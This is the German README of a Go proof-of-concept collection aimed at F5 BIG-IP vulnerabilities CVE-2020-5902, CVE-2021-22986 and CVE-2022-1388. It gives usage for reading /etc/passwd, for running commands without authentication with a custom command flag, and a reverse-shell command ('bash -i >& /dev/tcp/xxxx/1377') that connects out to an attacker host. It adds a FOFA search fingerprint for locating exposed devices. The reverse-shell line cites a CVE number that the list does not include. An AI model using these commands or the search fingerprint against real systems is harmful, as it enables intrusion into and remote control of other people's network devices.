F5-BIG-IP POC

In Go geschriebene POC-Sammlung für CVE-2020-5902, CVE-2021-22986 und CVE-2022-1388; weitere F5-POCs werden später hinzugefügt.

author:160team.west9B

Nur für autorisierte Sicherheitsforscher. Dabei ist das Netzwerksicherheitsgesetz zu beachten. Für etwaige Probleme wird keine Haftung übernommen; sie liegen nicht in der Verantwortung des Autors.

01-Grundlegende Einführung

F5-POC-Sammlung:

• CVE-2020-5902: F5 BIG-IP Remote-Codeausführung-Schwachstelle
• CVE-2021-22986: F5 BIG-IP iControl REST – nicht autorisierte Remote-Befehlsausführung
• CVE-2022-1388: Umgehung der Authentifizierung zur Remote-Befehlsausführung

02-Verwendung

Verwendung: ./F5-BIG-IP -u url

CVE-2020-5902 wird durch beliebigen Dateidownload verifiziert; wird /etc/passwd zurückgegeben, ist die Schwachstelle vorhanden.

Bei den POCs für CVE-2021-22986 und CVE-2022-1388 wird standardmäßig der Befehl id ausgeführt. Wird {id} zurückgegeben, ist die Schwachstelle vorhanden. Über -c kann ein eigener Befehl angegeben werden.

Reverse Shell

Verwendung: ./cve-2022-30525.exe -m exp -u url -c bash -i >& /dev/tcp/xxxx/1377 0>&1

Screenshots

fofa

icon_hash="-335242539"